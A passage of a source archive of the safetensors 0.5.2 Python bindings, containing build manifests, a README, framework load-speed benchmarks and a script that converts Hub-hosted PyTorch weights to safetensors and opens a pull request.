checksum = "280dc24453071f1b63954171985a0b0d30058d287960968b9b2aca264c8d4ee6"
[[package]]
name = "proc-macro2"
version = "1.0.92"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "37d3544b3f2748c54e147655edb5025752e2303145b5aefb3c3ea2c78b973bb0"
dependencies = [
"unicode-ident",
]
[[package]]
name = "pyo3"
version = "0.23.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e484fd2c8b4cb67ab05a318f1fd6fa8f199fcc30819f08f07d200809dba26c15"
dependencies = [
"cfg-if",
"indoc",
"libc",
"memoffset",
"once_cell",
"portable-atomic",
"pyo3-build-config",
"pyo3-ffi",
"pyo3-macros",
"unindent",
]
[[package]]
name = "pyo3-build-config"
version = "0.23.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dc0e0469a84f208e20044b98965e1561028180219e35352a2afaf2b942beff3b"
dependencies = [
"once_cell",
"target-lexicon",
]
[[package]]
name = "pyo3-ffi"
version = "0.23.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "eb1547a7f9966f6f1a0f0227564a9945fe36b90da5a93b3933fc3dc03fae372d"
dependencies = [
"libc",
"pyo3-build-config",
]
[[package]]
name = "pyo3-macros"
version = "0.23.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "fdb6da8ec6fa5cedd1626c886fc8749bdcbb09424a86461eb8cdf096b7c33257"
dependencies = [
"proc-macro2",
"pyo3-macros-backend",
"quote",
"syn",
]
[[package]]
name = "pyo3-macros-backend"
version = "0.23.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "38a385202ff5a92791168b1136afae5059d3ac118457bb7bc304c197c2d33e7d"
dependencies = [
"heck",
"proc-macro2",
"pyo3-build-config",
"quote",
"syn",
]
[[package]]
name = "quote"
version = "1.0.38"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0e4dccaaaf89514f546c693ddc140f729f958c247918a13380cccc6078391acc"
dependencies = [
"proc-macro2",
]
[[package]]
name = "ryu"
version = "1.0.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "f3cb5ba0dc43242ce17de99c180e96db90b235b8a9fdc9543c96d2209116bd9f"
[[package]]
name = "safetensors"
version = "0.5.2"
dependencies = [
"serde",
"serde_json",
]
[[package]]
name = "safetensors-python"
version = "0.5.2"
dependencies = [
"memmap2",
"pyo3",
"safetensors",
"serde_json",
]
[[package]]
name = "serde"
version = "1.0.217"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "02fc4265df13d6fa1d00ecff087228cc0a2b5f3c0e87e258d8b94a156e984c70"
dependencies = [
"serde_derive",
]
[[package]]
name = "serde_derive"
version = "1.0.217"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5a9bf7cf98d04a2b28aead066b7496853d4779c9cc183c440dbac457641e19a0"
dependencies = [
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "serde_json"
version = "1.0.135"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "2b0d7ba2887406110130a978386c4e1befb98c674b4fba677954e4db976630d9"
dependencies = [
"itoa",
"memchr",
"ryu",
"serde",
]
[[package]]
name = "syn"
version = "2.0.95"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "46f71c0377baf4ef1cc3e3402ded576dccc315800fbc62dfc7fe04b009773b4a"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "target-lexicon"
version = "0.12.16"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
[[package]]
name = "unicode-ident"
version = "1.0.14"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "adb9e6ca4f869e1180728b7950e35922a7fc6397f7b641499e8f3ef06e50dc83"
[[package]]
name = "unindent"
version = "0.2.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c7de7d73e1754487cb58364ee906a499937a0dfabd86bcb980fa99ec8c8fa2ce"
safetensors-0.5.2/bindings/python/Cargo.toml 0000664 0000000 0000000 00000000613 14737533723 0021136 0 ustar 00root root 0000000 0000000 [package]
name = "safetensors-python"
version = "0.5.2"
edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[lib]
name = "safetensors_rust"
crate-type = ["cdylib"]
[dependencies]
pyo3 = { version = "0.23", features = ["abi3", "abi3-py38"] }
memmap2 = "0.9"
serde_json = "1.0"
[dependencies.safetensors]
path = "../../safetensors"
safetensors-0.5.2/bindings/python/MANIFEST.in 0000664 0000000 0000000 00000000276 14737533723 0020751 0 ustar 00root root 0000000 0000000 include Cargo.toml
include pyproject.toml
include rust-toolchain
include ../../LICENSE
recursive-include src *
recursive-include safetensors-lib *
recursive-exclude safetensors-lib/target *
safetensors-0.5.2/bindings/python/Makefile 0000664 0000000 0000000 00000002117 14737533723 0020647 0 ustar 00root root 0000000 0000000 .PHONY: deps_table_update modified_only_fixup extra_style_checks quality style fixup fix-copies test test-examples
# make sure to test the local checkout in scripts and not the pre-installed one (don't use quotes!)
export PYTHONPATH = src
check_dirs := tests py_src
modified_only_fixup:
$(eval modified_py_files := $(shell python utils/get_modified_files.py $(check_dirs)))
@if test -n "$(modified_py_files)"; then \
echo "Checking/fixing $(modified_py_files)"; \
black --preview $(modified_py_files); \
isort $(modified_py_files); \
flake8 $(modified_py_files); \
else \
echo "No library .py files were modified"; \
fi
quality:
black --check --preview $(check_dirs)
isort --check-only $(check_dirs)
flake8 $(check_dirs)
# doc-builder style src/transformers docs/source --max_len 119 --check_only --path_to_docs docs/source
style:
black --preview $(check_dirs)
isort $(check_dirs)
# Super fast fix and check target that only works on relevant modified files since the branch was made
fixup: modified_only_fixup
test:
python -m pytest -n auto --dist=loadfile -s -v ./tests/
safetensors-0.5.2/bindings/python/README.md 0000664 0000000 0000000 00000001524 14737533723 0020467 0 ustar 00root root 0000000 0000000 ## Installation
```
pip install safetensors
```
## Usage
### Numpy
```python
from safetensors.numpy import save_file, load_file
import numpy as np
tensors = {
"a": np.zeros((2, 2)),
"b": np.zeros((2, 3), dtype=np.uint8)
}
save_file(tensors, "./model.safetensors")
# Now loading
loaded = load_file("./model.safetensors")
```
### Torch
```python
from safetensors.torch import save_file, load_file
import torch
tensors = {
"a": torch.zeros((2, 2)),
"b": torch.zeros((2, 3), dtype=torch.uint8)
}
save_file(tensors, "./model.safetensors")
# Now loading
loaded = load_file("./model.safetensors")
```
### Developing
```
# inside ./safetensors/bindings/python
pip install .[dev]
```
Should be enough to install this library locally.
### Testing
```
# inside ./safetensors/bindings/python
pip install .[dev]
pytest -sv tests/
```
safetensors-0.5.2/bindings/python/benches/ 0000775 0000000 0000000 00000000000 14737533723 0020615 5 ustar 00root root 0000000 0000000 safetensors-0.5.2/bindings/python/benches/test_flax.py 0000664 0000000 0000000 00000004136 14737533723 0023164 0 ustar 00root root 0000000 0000000 import os
import tempfile
import jax.numpy as jnp
from flax.serialization import msgpack_restore, msgpack_serialize
from safetensors.flax import load_file, save_file
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = jnp.zeros((50257, 768))
tensors["wpe"] = jnp.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = jnp.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = jnp.zeros((768,))
tensors[f"h.{i}.attn.bias"] = jnp.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = jnp.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = jnp.zeros((2304))
tensors[f"h.{i}.attn.c_proj.weight"] = jnp.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = jnp.zeros((768))
tensors[f"h.{i}.ln_2.weight"] = jnp.zeros((768))
tensors[f"h.{i}.ln_2.bias"] = jnp.zeros((768))
tensors[f"h.{i}.mlp.c_fc.weight"] = jnp.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = jnp.zeros((3072))
tensors[f"h.{i}.mlp.c_proj.weight"] = jnp.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = jnp.zeros((768))
tensors["ln_f.weight"] = jnp.zeros((768))
tensors["ln_f.bias"] = jnp.zeros((768))
return tensors
def load(filename):
with open(filename, "rb") as f:
data = f.read()
flax_weights = msgpack_restore(data)
return flax_weights
def test_flax_flax_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
serialized = msgpack_serialize(weights)
f.write(serialized)
result = benchmark(load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert jnp.allclose(v, tv)
def test_flax_sf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert jnp.allclose(v, tv)
safetensors-0.5.2/bindings/python/benches/test_mlx.py 0000664 0000000 0000000 00000004201 14737533723 0023023 0 ustar 00root root 0000000 0000000 import os
import platform
import tempfile
if platform.system() == "Darwin":
import mlx.core as mx
from safetensors.mlx import load_file, save_file
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = mx.zeros((50257, 768))
tensors["wpe"] = mx.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = mx.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = mx.zeros((768,))
tensors[f"h.{i}.attn.bias"] = mx.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = mx.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = mx.zeros((2304))
tensors[f"h.{i}.attn.c_proj.weight"] = mx.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = mx.zeros((768))
tensors[f"h.{i}.ln_2.weight"] = mx.zeros((768))
tensors[f"h.{i}.ln_2.bias"] = mx.zeros((768))
tensors[f"h.{i}.mlp.c_fc.weight"] = mx.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = mx.zeros((3072))
tensors[f"h.{i}.mlp.c_proj.weight"] = mx.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = mx.zeros((768))
tensors["ln_f.weight"] = mx.zeros((768))
tensors["ln_f.bias"] = mx.zeros((768))
return tensors
def load(filename):
return mx.load(filename)
def test_mlx_mlx_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
filename = f"{f.name}.npz"
mx.savez(filename, **weights)
result = benchmark(load, filename)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert mx.allclose(v, tv)
def test_mlx_sf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert mx.allclose(v, tv)
safetensors-0.5.2/bindings/python/benches/test_paddle.py 0000664 0000000 0000000 00000003660 14737533723 0023464 0 ustar 00root root 0000000 0000000 import os
import tempfile
import numpy as np
import paddle
from safetensors.paddle import load_file, save_file
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = paddle.zeros((50257, 768))
tensors["wpe"] = paddle.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = paddle.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = paddle.zeros((768,))
tensors[f"h.{i}.attn.bias"] = paddle.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = paddle.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = paddle.zeros((2304,))
tensors[f"h.{i}.attn.c_proj.weight"] = paddle.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = paddle.zeros((768,))
tensors[f"h.{i}.ln_2.weight"] = paddle.zeros((768,))
tensors[f"h.{i}.ln_2.bias"] = paddle.zeros((768,))
tensors[f"h.{i}.mlp.c_fc.weight"] = paddle.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = paddle.zeros((3072,))
tensors[f"h.{i}.mlp.c_proj.weight"] = paddle.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = paddle.zeros((768,))
tensors["ln_f.weight"] = paddle.zeros((768,))
tensors["ln_f.bias"] = paddle.zeros((768,))
return tensors
def test_paddle_paddle_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
paddle.save(weights, f.name)
result = benchmark(paddle.load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert paddle.allclose(v, tv)
def test_paddle_sf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert np.allclose(v, tv)
safetensors-0.5.2/bindings/python/benches/test_pt.py 0000664 0000000 0000000 00000011234 14737533723 0022652 0 ustar 00root root 0000000 0000000 import os
import tempfile
import pytest
import torch
from safetensors.torch import load_file, save_file
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = torch.zeros((50257, 768))
tensors["wpe"] = torch.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = torch.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = torch.zeros((768,))
tensors[f"h.{i}.attn.bias"] = torch.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = torch.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = torch.zeros((2304))
tensors[f"h.{i}.attn.c_proj.weight"] = torch.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = torch.zeros((768))
tensors[f"h.{i}.ln_2.weight"] = torch.zeros((768))
tensors[f"h.{i}.ln_2.bias"] = torch.zeros((768))
tensors[f"h.{i}.mlp.c_fc.weight"] = torch.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = torch.zeros((3072))
tensors[f"h.{i}.mlp.c_proj.weight"] = torch.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = torch.zeros((768))
tensors["ln_f.weight"] = torch.zeros((768))
tensors["ln_f.bias"] = torch.zeros((768))
return tensors
def create_lora(n_layers: int):
tensors = {}
for i in range(n_layers):
tensors[f"lora.{i}.up.weight"] = torch.zeros((32, 32))
tensors[f"lora.{i}.down.weight"] = torch.zeros((32, 32))
return tensors
def test_pt_pt_load_cpu(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
torch.save(weights, f)
result = benchmark(torch.load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_sf_load_cpu(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_pt_load_cpu_small(benchmark):
weights = create_lora(500)
with tempfile.NamedTemporaryFile(delete=False) as f:
torch.save(weights, f)
result = benchmark(torch.load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
def test_pt_sf_load_cpu_small(benchmark):
weights = create_lora(500)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(not torch.cuda.is_available(), reason="requires cuda")
def test_pt_pt_load_gpu(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
torch.save(weights, f)
result = benchmark(torch.load, f.name, map_location="cuda:0")
os.unlink(f.name)
for k, v in weights.items():
v = v.cuda()
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(not torch.cuda.is_available(), reason="requires cuda")
def test_pt_sf_load_gpu(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name, device="cuda:0")
os.unlink(f.name)
for k, v in weights.items():
v = v.cuda()
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(not hasattr(torch.backends, "mps") or not torch.backends.mps.is_available(), reason="requires mps")
def test_pt_pt_load_mps(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
torch.save(weights, f)
result = benchmark(torch.load, f.name, map_location="mps")
os.unlink(f.name)
for k, v in weights.items():
v = v.to(device="mps")
tv = result[k]
assert torch.allclose(v, tv)
@pytest.mark.skipif(not hasattr(torch.backends, "mps") or not torch.backends.mps.is_available(), reason="requires mps")
def test_pt_sf_load_mps(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name, device="mps")
os.unlink(f.name)
for k, v in weights.items():
v = v.to(device="mps")
tv = result[k]
assert torch.allclose(v, tv)
safetensors-0.5.2/bindings/python/benches/test_tf.py 0000664 0000000 0000000 00000005107 14737533723 0022642 0 ustar 00root root 0000000 0000000 import os
import tempfile
import h5py
import numpy as np
import tensorflow as tf
from safetensors.tensorflow import load_file, save_file
def _load(filename, tensors=None, prefix=""):
with h5py.File(filename, "r") as f:
if tensors is None:
tensors = {}
for k in f.keys():
if isinstance(f[k], h5py._hl.dataset.Dataset):
key = k if not prefix else f"{prefix}_{k}"
tensors[key] = tf.convert_to_tensor(np.array(f[k]))
else:
tensors.update(_load(f[k], tensors, prefix=f"{prefix}_{k}"))
return tensors
def _save(filename, tensors, prefix=""):
with h5py.File(filename, "w") as f:
for name, tensor in tensors.items():
tensor = tensor.numpy()
dset = f.create_dataset(name, tensor.shape, dtype=tensor.dtype)
dset[:] = tensor
def create_gpt2(n_layers: int):
tensors = {}
tensors["wte"] = tf.zeros((50257, 768))
tensors["wpe"] = tf.zeros((1024, 768))
for i in range(n_layers):
tensors[f"h.{i}.ln_1.weight"] = tf.zeros((768,))
tensors[f"h.{i}.ln_1.bias"] = tf.zeros((768,))
tensors[f"h.{i}.attn.bias"] = tf.zeros((1, 1, 1024, 1024))
tensors[f"h.{i}.attn.c_attn.weight"] = tf.zeros((768, 2304))
tensors[f"h.{i}.attn.c_attn.bias"] = tf.zeros((2304))
tensors[f"h.{i}.attn.c_proj.weight"] = tf.zeros((768, 768))
tensors[f"h.{i}.attn.c_proj.bias"] = tf.zeros((768))
tensors[f"h.{i}.ln_2.weight"] = tf.zeros((768))
tensors[f"h.{i}.ln_2.bias"] = tf.zeros((768))
tensors[f"h.{i}.mlp.c_fc.weight"] = tf.zeros((768, 3072))
tensors[f"h.{i}.mlp.c_fc.bias"] = tf.zeros((3072))
tensors[f"h.{i}.mlp.c_proj.weight"] = tf.zeros((3072, 768))
tensors[f"h.{i}.mlp.c_proj.bias"] = tf.zeros((768))
tensors["ln_f.weight"] = tf.zeros((768))
tensors["ln_f.bias"] = tf.zeros((768))
return tensors
def test_tf_tf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
_save(f.name, weights)
result = benchmark(_load, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert np.allclose(v, tv)
def test_tf_sf_load(benchmark):
# benchmark something
weights = create_gpt2(12)
with tempfile.NamedTemporaryFile(delete=False) as f:
save_file(weights, f.name)
result = benchmark(load_file, f.name)
os.unlink(f.name)
for k, v in weights.items():
tv = result[k]
assert np.allclose(v, tv)
safetensors-0.5.2/bindings/python/convert.py 0000664 0000000 0000000 00000034661 14737533723 0021252 0 ustar 00root root 0000000 0000000 import argparse
import json
import os
import shutil
from collections import defaultdict
from tempfile import TemporaryDirectory
from typing import Dict, List, Optional, Set, Tuple
import torch
from huggingface_hub import CommitInfo, CommitOperationAdd, Discussion, HfApi, hf_hub_download
from huggingface_hub.file_download import repo_folder_name
from safetensors.torch import _find_shared_tensors, _is_complete, load_file, save_file
COMMIT_DESCRIPTION = """
This is an automated PR created with https://huggingface.co/spaces/safetensors/convert
This new file is equivalent to `pytorch_model.bin` but safe in the sense that
no arbitrary code can be put into it.
These files also happen to load much faster than their pytorch counterpart:
https://colab.research.google.com/github/huggingface/notebooks/blob/main/safetensors_doc/en/speed.ipynb
The widgets on your model page will run using this model even if this is not merged
making sure the file actually works.
If you find any issues: please report here: https://huggingface.co/spaces/safetensors/convert/discussions
Feel free to ignore this PR.
"""
ConversionResult = Tuple[List["CommitOperationAdd"], List[Tuple[str, "Exception"]]]
def _remove_duplicate_names(
state_dict: Dict[str, torch.Tensor],
*,
preferred_names: List[str] = None,
discard_names: List[str] = None,
) -> Dict[str, List[str]]:
if preferred_names is None:
preferred_names = []
preferred_names = set(preferred_names)
if discard_names is None:
discard_names = []
discard_names = set(discard_names)
shareds = _find_shared_tensors(state_dict)
to_remove = defaultdict(list)
for shared in shareds:
complete_names = set([name for name in shared if _is_complete(state_dict[name])])
if not complete_names:
if len(shared) == 1:
# Force contiguous
name = list(shared)[0]
state_dict[name] = state_dict[name].clone()
complete_names = {name}
else:
raise RuntimeError(
f"Error while trying to find names to remove to save state dict, but found no suitable name to keep for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model since you could be storing much more memory than needed. Please refer to https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an issue."
)
keep_name = sorted(list(complete_names))[0]
# Mecanism to preferentially select keys to keep
# coming from the on-disk file to allow
# loading models saved with a different choice
# of keep_name
preferred = complete_names.difference(discard_names)
if preferred:
keep_name = sorted(list(preferred))[0]
if preferred_names:
preferred = preferred_names.intersection(complete_names)
if preferred:
keep_name = sorted(list(preferred))[0]
for name in sorted(shared):
if name != keep_name:
to_remove[keep_name].append(name)
return to_remove
def get_discard_names(model_id: str, revision: Optional[str], folder: str, token: Optional[str]) -> List[str]:
try:
import json
import transformers
config_filename = hf_hub_download(
model_id, revision=revision, filename="config.json", token=token, cache_dir=folder
)
with open(config_filename, "r") as f:
config = json.load(f)
architecture = config["architectures"][0]
class_ = getattr(transformers, architecture)
# Name for this varible depends on transformers version.
discard_names = getattr(class_, "_tied_weights_keys", [])
except Exception:
discard_names = []
return discard_names
class AlreadyExists(Exception):
pass
def check_file_size(sf_filename: str, pt_filename: str):
sf_size = os.stat(sf_filename).st_size
pt_size = os.stat(pt_filename).st_size
if (sf_size - pt_size) / pt_size > 0.01:
raise RuntimeError(
f"""The file size different is more than 1%:
- {sf_filename}: {sf_size}
- {pt_filename}: {pt_size}
"""
)
def rename(pt_filename: str) -> str:
filename, ext = os.path.splitext(pt_filename)
local = f"{filename}.safetensors"
local = local.replace("pytorch_model", "model")
return local
def convert_multi(
model_id: str, *, revision=Optional[str], folder: str, token: Optional[str], discard_names: List[str]
) -> ConversionResult:
filename = hf_hub_download(
repo_id=model_id, revision=revision, filename="pytorch_model.bin.index.json", token=token, cache_dir=folder
)
with open(filename, "r") as f:
data = json.load(f)
filenames = set(data["weight_map"].values())
local_filenames = []
for filename in filenames:
pt_filename = hf_hub_download(repo_id=model_id, filename=filename, token=token, cache_dir=folder)
sf_filename = rename(pt_filename)
sf_filename = os.path.join(folder, sf_filename)
convert_file(pt_filename, sf_filename, discard_names=discard_names)
local_filenames.append(sf_filename)
index = os.path.join(folder, "model.safetensors.index.json")
with open(index, "w") as f:
newdata = {k: v for k, v in data.items()}
newmap = {k: rename(v) for k, v in data["weight_map"].items()}
newdata["weight_map"] = newmap
json.dump(newdata, f, indent=4)
local_filenames.append(index)
operations = [
CommitOperationAdd(path_in_repo=os.path.basename(local), path_or_fileobj=local) for local in local_filenames
]
errors: List[Tuple[str, "Exception"]] = []
return operations, errors
def convert_single(
model_id: str, *, revision: Optional[str], folder: str, token: Optional[str], discard_names: List[str]
) -> ConversionResult:
pt_filename = hf_hub_download(
repo_id=model_id, revision=revision, filename="pytorch_model.bin", token=token, cache_dir=folder
)
sf_name = "model.safetensors"
sf_filename = os.path.join(folder, sf_name)
convert_file(pt_filename, sf_filename, discard_names)
operations = [CommitOperationAdd(path_in_repo=sf_name, path_or_fileobj=sf_filename)]
errors: List[Tuple[str, "Exception"]] = []
return operations, errors
def convert_file(
pt_filename: str,
sf_filename: str,
discard_names: List[str],
):
loaded = torch.load(pt_filename, map_location="cpu")
if "state_dict" in loaded:
loaded = loaded["state_dict"]
to_removes = _remove_duplicate_names(loaded, discard_names=discard_names)
metadata = {"format": "pt"}
for kept_name, to_remove_group in to_removes.items():
for to_remove in to_remove_group:
if to_remove not in metadata:
metadata[to_remove] = kept_name
del loaded[to_remove]
# Force tensors to be contiguous
loaded = {k: v.contiguous() for k, v in loaded.items()}
dirname = os.path.dirname(sf_filename)
os.makedirs(dirname, exist_ok=True)
save_file(loaded, sf_filename, metadata=metadata)
check_file_size(sf_filename, pt_filename)
reloaded = load_file(sf_filename)
for k in loaded:
pt_tensor = loaded[k]
sf_tensor = reloaded[k]
if not torch.equal(pt_tensor, sf_tensor):
raise RuntimeError(f"The output tensors do not match for key {k}")
def create_diff(pt_infos: Dict[str, List[str]], sf_infos: Dict[str, List[str]]) -> str:
errors = []
for key in ["missing_keys", "mismatched_keys", "unexpected_keys"]:
pt_set = set(pt_infos[key])
sf_set = set(sf_infos[key])
pt_only = pt_set - sf_set
sf_only = sf_set - pt_set
if pt_only:
errors.append(f"{key} : PT warnings contain {pt_only} which are not present in SF warnings")
if sf_only:
errors.append(f"{key} : SF warnings contain {sf_only} which are not present in PT warnings")
return "\n".join(errors)
def previous_pr(api: "HfApi", model_id: str, pr_title: str, revision=Optional[str]) -> Optional["Discussion"]:
try:
revision_commit = api.model_info(model_id, revision=revision).sha
discussions = api.get_repo_discussions(repo_id=model_id)
except Exception:
return None
for discussion in discussions:
if discussion.status in {"open", "closed"} and discussion.is_pull_request and discussion.title == pr_title:
commits = api.list_repo_commits(model_id, revision=discussion.git_reference)
if revision_commit == commits[1].commit_id:
return discussion
return None
def convert_generic(
model_id: str, *, revision=Optional[str], folder: str, filenames: Set[str], token: Optional[str]
) -> ConversionResult:
operations = []
errors = []
extensions = set([".bin", ".ckpt"])
for filename in filenames:
prefix, ext = os.path.splitext(filename)
if ext in extensions:
pt_filename = hf_hub_download(
model_id, revision=revision, filename=filename, token=token, cache_dir=folder
)
dirname, raw_filename = os.path.split(filename)
if raw_filename == "pytorch_model.bin":
# XXX: This is a special case to handle `transformers` and the
# `transformers` part of the model which is actually loaded by `transformers`.
sf_in_repo = os.path.join(dirname, "model.safetensors")
else:
sf_in_repo = f"{prefix}.safetensors"
sf_filename = os.path.join(folder, sf_in_repo)
try:
convert_file(pt_filename, sf_filename, discard_names=[])
operations.append(CommitOperationAdd(path_in_repo=sf_in_repo, path_or_fileobj=sf_filename))
except Exception as e:
errors.append((pt_filename, e))
return operations, errors
def convert(
api: "HfApi", model_id: str, revision: Optional[str] = None, force: bool = False
) -> Tuple["CommitInfo", List[Tuple[str, "Exception"]]]:
pr_title = "Adding `safetensors` variant of this model"
info = api.model_info(model_id, revision=revision)
filenames = set(s.rfilename for s in info.siblings)
with TemporaryDirectory() as d:
folder = os.path.join(d, repo_folder_name(repo_id=model_id, repo_type="models"))
os.makedirs(folder)
new_pr = None
try:
operations = None
pr = previous_pr(api, model_id, pr_title, revision=revision)
library_name = getattr(info, "library_name", None)
if any(filename.endswith(".safetensors") for filename in filenames) and not force:
raise AlreadyExists(f"Model {model_id} is already converted, skipping..")
elif pr is not None and not force:
url = f"https://huggingface.co/{model_id}/discussions/{pr.num}"
new_pr = pr
raise AlreadyExists(f"Model {model_id} already has an open PR check out {url}")
elif library_name == "transformers":
discard_names = get_discard_names(model_id, revision=revision, folder=folder, token=api.token)
if "pytorch_model.bin" in filenames:
operations, errors = convert_single(
model_id, revision=revision, folder=folder, token=api.token, discard_names=discard_names
)
elif "pytorch_model.bin.index.json" in filenames:
operations, errors = convert_multi(
model_id, revision=revision, folder=folder, token=api.token, discard_names=discard_names
)
else:
raise RuntimeError(f"Model {model_id} doesn't seem to be a valid pytorch model. Cannot convert")
else:
operations, errors = convert_generic(
model_id, revision=revision, folder=folder, filenames=filenames, token=api.token
)
if operations:
new_pr = api.create_commit(
repo_id=model_id,
revision=revision,
operations=operations,
commit_message=pr_title,
commit_description=COMMIT_DESCRIPTION,
create_pr=True,
)
print(f"Pr created at {new_pr.pr_url}")
else:
print("No files to convert")
finally:
shutil.rmtree(folder)
return new_pr, errors
if __name__ == "__main__":
DESCRIPTION = """
Simple utility tool to convert automatically some weights on the hub to `safetensors` format.
It is PyTorch exclusive for now.
It works by downloading the weights (PT), converting them locally, and uploading them back
as a PR on the hub.
"""
parser = argparse.ArgumentParser(description=DESCRIPTION)
parser.add_argument(
"model_id",
type=str,
help="The name of the model on the hub to convert. E.g. `gpt2` or `facebook/wav2vec2-base-960h`",
)
parser.add_argument(
"--revision",
type=str,
help="The revision to convert",
)
parser.add_argument(
"--force",
action="store_true",
help="Create the PR even if it already exists of if the model was already converted.",
)
parser.add_argument(
"-y",
action="store_true",
help="Ignore safety prompt",
)
args = parser.parse_args()
model_id = args.model_id
api = HfApi()
if args.y:
txt = "y"
else:
txt = input(
"This conversion script will unpickle a pickled file, which is inherently unsafe. If you do not trust this file, we invite you to use"
" https://huggingface.co/spaces/safetensors/convert or google colab or other hosted solution to avoid potential issues with this file."
